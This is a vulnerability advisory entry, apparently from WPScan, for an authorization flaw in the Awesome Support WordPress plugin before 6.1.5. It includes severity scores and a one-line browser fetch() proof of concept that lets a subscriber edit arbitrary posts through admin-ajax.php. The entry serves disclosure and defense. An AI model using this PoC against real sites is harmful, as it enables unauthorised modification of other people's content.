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wpvulndbKrzysztof Zając (CERT PL)WPVDB-ID:D32B2136-D923-4F36-BD76-AF4578DEB23B
HistoryOct 16, 2023 - 12:00 a.m.

Awesome Support < 6.1.5 - Insufficient permission check in wpas_edit_reply

2023-10-1600:00:00
Krzysztof Zając (CERT PL)
wpscan.com
3
plugin vulnerability
insufficient permission check
wordpress security

6.4 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.2%

Description The plugin does not correctly authorize the wpas_edit_reply function, allowing users to edit posts for which they do not have permission.

PoC

Log in as a subscriber and run the following code in the browser, setting the reply_id to any post ID. fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded” }, “body”: new URLSearchParams({“action”: “wpas_edit_reply”, “reply_id”: “1”, “reply_content”: “hello”}), “method”: “POST”, “credentials”: “include” });

CPENameOperatorVersion
eq6.1.5

6.4 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.2%

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